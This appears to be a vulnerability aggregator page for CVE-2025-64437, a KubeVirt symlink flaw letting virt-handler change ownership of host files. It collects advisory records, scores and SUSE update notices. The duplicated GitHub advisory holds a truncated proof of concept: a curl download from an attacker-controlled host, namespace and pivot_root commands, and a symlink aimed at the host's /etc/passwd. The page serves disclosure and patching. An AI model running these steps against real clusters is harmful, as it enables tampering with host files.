CVE-2025-64437
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes
KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes
KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.
- Record
CVE-2025-64437- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2025-38213
KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.
- Record
EUVD-2025-38213- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2r4r-5x78-mvqf
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes
Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
It is possible to trick the virt-handler component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID 107 due to mishandling of symlinks when determining the root mount of a virt-launcher pod.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
In the current implementation, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.
To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:
- A symbolic link (
launcher-sock) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries. - Another symbolic link (
disk.img) is employed to alter the perceived location of data within a PVC, redirecting it to a file owned by root on the host filesystem. - As a result, the ownership of an existing host file owned by root is changed to a less privileged user with UID 107.
It is assumed that an attacker has access to a virt-launcher pod's file system (for example, obtained using another vulnerability) and also has access to the host file system with the privileges of the qemu user (UID=107). It is also assumed that they can create unprivileged user namespaces:
admin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1
The below is inspired by an article, where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.
# Download an container file system from an attacker-controlled location
qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar
# Create a directory and extract the file system in it
qemu-compromised@minikube:~$ mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine
# Create a MOUNT and remapped USER namespace environment and execute a shell process in it
qemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh
# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.
# The user is root in its new USER namesapce
root@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root
# Swap the current root of the process and store the old one within a directory
root@minikube:~$ pivot_root . hostfs_root
root@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin
# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount
root@minikube:~$ PVC_PATH="/var/run/kubevirt-private/vmi-disks/corrupted-pvc" && \
mkdir -p "${PVC_PATH}" && \
cd "${PVC_PATH}"
# Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory
root@minikube:~$ ln -sf…
- Record
GHSA-2r4r-5x78-mvqf- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
NVD
KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.
- Record
CVE-2025-64437- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
OSV
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes
KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.
- Record
CVE-2025-64437- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
OSVGHSA-2r4r-5x78-mvqf
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes
Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
It is possible to trick the virt-handler component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID 107 due to mishandling of symlinks when determining the root mount of a virt-launcher pod.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
In the current implementation, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.
To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:
- A symbolic link (
launcher-sock) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries. - Another symbolic link (
disk.img) is employed to alter the perceived location of data within a PVC, redirecting it to a file owned by root on the host filesystem. - As a result, the ownership of an existing host file owned by root is changed to a less privileged user with UID 107.
It is assumed that an attacker has access to a virt-launcher pod's file system (for example, obtained using another vulnerability) and also has access to the host file system with the privileges of the qemu user (UID=107). It is also assumed that they can create unprivileged user namespaces:
admin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1
The below is inspired by an article, where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.
# Download an container file system from an attacker-controlled location
qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar
# Create a directory and extract the file system in it
qemu-compromised@minikube:~$ mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine
# Create a MOUNT and remapped USER namespace environment and execute a shell process in it
qemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh
# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.
# The user is root in its new USER namesapce
root@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root
# Swap the current root of the process and store the old one within a directory
root@minikube:~$ pivot_root . hostfs_root
root@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin
# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount
root@minikube:~$ PVC_PATH="/var/run/kubevirt-private/vmi-disks/corrupted-pvc" && \
mkdir -p "${PVC_PATH}" && \
cd "${PVC_PATH}"
# Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory
root@minikube:~$ ln -sf…
- Record
GHSA-2r4r-5x78-mvqf- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
Show 12 moreShow less
OSVAZL-69805 No score
CVE-2025-64437 affecting package kubevirt for versions less than 1.5.3-2
KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.
- Record
AZL-69805- Updated
- 2026-11-02
OSVAZL-69970 No score
CVE-2025-64437 affecting package kubevirt for versions less than 0.59.0-33
KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.
- Record
AZL-69970- Updated
- 2026-11-02
OSVGO-2025-4102 No score
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt
- Record
GO-2025-4102- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15772-1 No score
kubevirt-container-disk-1.6.3-1.1 on GA media
These are all security issues fixed in the kubevirt-container-disk-1.6.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15772-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11057-1 No score
kubevirt-1.8-container-disk-1.8.3-1.1 on GA media
These are all security issues fixed in the kubevirt-1.8-container-disk-1.8.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11057-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11091-1 No score
kubevirt1.8-container-disk-1.8.3-1.1 on GA media
These are all security issues fixed in the kubevirt1.8-container-disk-1.8.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11091-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20281-1 No score
Security update for kubevirt
This update for kubevirt fixes the following issues:
Update to version 1.7.0 (bsc#1257128).
Security issues fixed:
- CVE-2025-64435: logic flaw in the virt-controller can lead to incorrect status updates and potentially causing a DoS (bsc#1253189).
- CVE-2024-45310: kubevirt vendored github.com/opencontainers/runc/libcontainer/utils: runc can be tricked into creating empty files/directories on host (bsc#1257422).
- CVE-2025-22872: incorrectly interpreted tags can cause content to be placed wrong scope during DOM construction (bsc#1241772).
- CVE-2025-64432: fail to correctly validate certain fields in the client TLS certificate may allow an attacker to bypass existing RBAC controls (bsc#1253181).
- CVE-2025-64433: improper symlink handling can allow to read arbitrary files (bsc#1253185).
- CVE-2025-64434: compromising virt-handler instance can lead to impersonate virt-api and execute privileged operations (bsc#1253186).
- CVE-2025-64437: mishandling of symlinks can lead to compromising the CIA (bsc#1253194).
- CVE-2025-64324: a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users (bsc#1253748).
Other updates and bugfixes:
- Upstream now uses stateless firmware for CoCo VMs.
- Record
openSUSE-SU-2026:20281-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
- GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
- GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
- GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
- GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
- GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
- GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
- GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
- GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
- GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
- GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
- GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
- GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
- GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
- GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
- GO-2026-5933 GHSA-3g4q-2f67-2gvh
- GO-2026-5934 GHSA-59qp-cfj3-rp64
- GO-2026-5935 GHSA-7856-g3gv-9wq8
- GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
- GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
- GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
- GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
- GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
- GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
- GO-2026-5942 CVE-2026-46600
- GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
- GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
- GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
- GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
- GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
- GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
- GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
- GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
- GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
- GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
- GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
- GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
- GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
- GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
- GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
- GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
- GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
- GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
- GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
- GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
- GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
- GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
- GO-2026-5969 GHSA-g936-7jqj-mwv8
- GO-2026-5970 CVE-2026-56852
- GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
- GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
- GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
- GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
- GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
- GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
- GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
- GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
- GO-2026-5981 GHSA-mqxv-9rm6-w8qc
- GO-2026-5982 GHSA-pqg7-v6wh-3pfp
- GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
- GO-2026-5985 GHSA-7rx3-5wx3-5v76
- GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
- GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
- GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
- GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
- GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
- GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
- GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
- GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
- GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
- GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
- GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
- GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
- GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
- GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
- GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
- GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
- Record
openSUSE-SU-2026:21483-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:4330-1 No score
Security update for kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container, virt-pr-helper-container
This update for kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container, virt-pr-helper-container fixes the following issues:
Updated kubevirt to version 1.6.3:
- CVE-2025-22872: Fixed incorrect interpretation of tags leading content to be placed wrong scope during DOM construction in golang.org/x/net/html (bsc#1241772)
- CVE-2025-64432: Fixed bypass of RBAC controls due to incorrect validation of certain fields in the client TLS certificate (bsc#1253181)
- CVE-2025-64433: Fixed arbitrary files read via improper symlink handling (bsc#1253185)
- CVE-2025-64434: Fixed privilege escalation via virt-api impersonification due to compromise virt-handler instance (bsc#1253186)
- CVE-2025-64437: Fixed mishandling of symlinks (bsc#1253194)
- CVE-2025-64324: Fixed a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users (bsc#1253748)
- Record
SUSE-SU-2025:4330-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:20551-1 No score
Security update for kubevirt
This update for kubevirt fixes the following issues:
Update to version 1.7.0 (bsc#1257128).
Security issues fixed:
- CVE-2025-64435: logic flaw in the virt-controller can lead to incorrect status updates and potentially causing a DoS (bsc#1253189).
- CVE-2024-45310: kubevirt vendored github.com/opencontainers/runc/libcontainer/utils: runc can be tricked into creating empty files/directories on host (bsc#1257422).
- CVE-2025-22872: incorrectly interpreted tags can cause content to be placed wrong scope during DOM construction (bsc#1241772).
- CVE-2025-64432: fail to correctly validate certain fields in the client TLS certificate may allow an attacker to bypass existing RBAC controls (bsc#1253181).
- CVE-2025-64433: improper symlink handling can allow to read arbitrary files (bsc#1253185).
- CVE-2025-64434: compromising virt-handler instance can lead to impersonate virt-api and execute privileged operations (bsc#1253186).
- CVE-2025-64437: mishandling of symlinks can lead to compromising the CIA (bsc#1253194).
- CVE-2025-64324: a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users (bsc#1253748).
Other updates and bugfixes:
- Upstream now uses stateless firmware for CoCo VMs.
- Record
SUSE-SU-2026:20551-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:20571-1 No score
Security update for kubevirt
This update for kubevirt fixes the following issues:
Update to version 1.7.0 (bsc#1257128).
Security issues fixed:
- CVE-2025-64435: logic flaw in the virt-controller can lead to incorrect status updates and potentially causing a DoS (bsc#1253189).
- CVE-2024-45310: kubevirt vendored github.com/opencontainers/runc/libcontainer/utils: runc can be tricked into creating empty files/directories on host (bsc#1257422).
- CVE-2025-22872: incorrectly interpreted tags can cause content to be placed wrong scope during DOM construction (bsc#1241772).
- CVE-2025-64432: fail to correctly validate certain fields in the client TLS certificate may allow an attacker to bypass existing RBAC controls (bsc#1253181).
- CVE-2025-64433: improper symlink handling can allow to read arbitrary files (bsc#1253185).
- CVE-2025-64434: compromising virt-handler instance can lead to impersonate virt-api and execute privileged operations (bsc#1253186).
- CVE-2025-64437: mishandling of symlinks can lead to compromising the CIA (bsc#1253194).
- CVE-2025-64324: a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users (bsc#1253748).
Other updates and bugfixes:
- Upstream now uses stateless firmware for CoCo VMs.
- Record
SUSE-SU-2026:20571-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:20610-1 No score
Security update for kubevirt
This update for kubevirt fixes the following issues:
Update to version 1.7.0 (bsc#1257128).
Security issues fixed:
- CVE-2025-64435: logic flaw in the virt-controller can lead to incorrect status updates and potentially causing a DoS (bsc#1253189).
- CVE-2024-45310: kubevirt vendored github.com/opencontainers/runc/libcontainer/utils: runc can be tricked into creating empty files/directories on host (bsc#1257422).
- CVE-2025-22872: incorrectly interpreted tags can cause content to be placed wrong scope during DOM construction (bsc#1241772).
- CVE-2025-64432: fail to correctly validate certain fields in the client TLS certificate may allow an attacker to bypass existing RBAC controls (bsc#1253181).
- CVE-2025-64433: improper symlink handling can allow to read arbitrary files (bsc#1253185).
- CVE-2025-64434: compromising virt-handler instance can lead to impersonate virt-api and execute privileged operations (bsc#1253186).
- CVE-2025-64437: mishandling of symlinks can lead to compromising the CIA (bsc#1253194).
- CVE-2025-64324: a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users (bsc#1253748).
Other updates and bugfixes:
- Upstream now uses stateless firmware for CoCo VMs.
- Record
SUSE-SU-2026:20610-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
kubevirt.io/kubevirtGo |
before 1.5.3 | 1.5.3 |
kubevirt.io/kubevirtGo |
1.6.0-alpha.0 up to 1.6.1 | 1.6.1 |
kubevirtAzure Linux:3 |
before 1.5.3-2 | 1.5.3-2 |
kubevirtAzure Linux:2 |
before 0.59.0-33 | 0.59.0-33 |
kubevirt.io/kubevirtGo |
before 1.5.3, 1.6.0-alpha.0 up to 1.6.0-beta.0.0.20250801202148-3ce9f41c54d0 | 1.5.31.6.0-beta.0.0.20250801202148-3ce9f41c54d0 |
kubevirtSUSE:Linux Enterprise Module for Containers 15 SP7 From an advisory covering 6 CVEs |
before 1.6.3-150700.3.13.1 | 1.6.3-150700.3.13.1 |
kubevirtopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 1.6.3-1.1 | 1.6.3-1.1 |
kubevirt-1.8openSUSE:Tumbleweed From an advisory covering 9 CVEs |
before 1.8.3-1.1 | 1.8.3-1.1 |
kubevirt1.8openSUSE:Tumbleweed From an advisory covering 9 CVEs |
before 1.8.3-1.1 | 1.8.3-1.1 |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 1734 CVEs |
before 0.0.20260723T184607-160000.1.1 | 0.0.20260723T184607-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-64437 is a medium vulnerability (CVSS 5.0) in Kubevirt, published November 6, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in kubevirt.io/kubevirt 1.5.3.
References
github.com/kubevirt/kubevirt/security/advisories/GHSA-2r4r-5x78-mvqf
nvd.nist.gov/vuln/detail/CVE-2025-64437
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suse.com/support/update/announcement/2025/suse-su-20254330-1
bugzilla.suse.com/1241772
Left out here: 1,563 references and the rest of 3 source descriptions. The JSON record has them.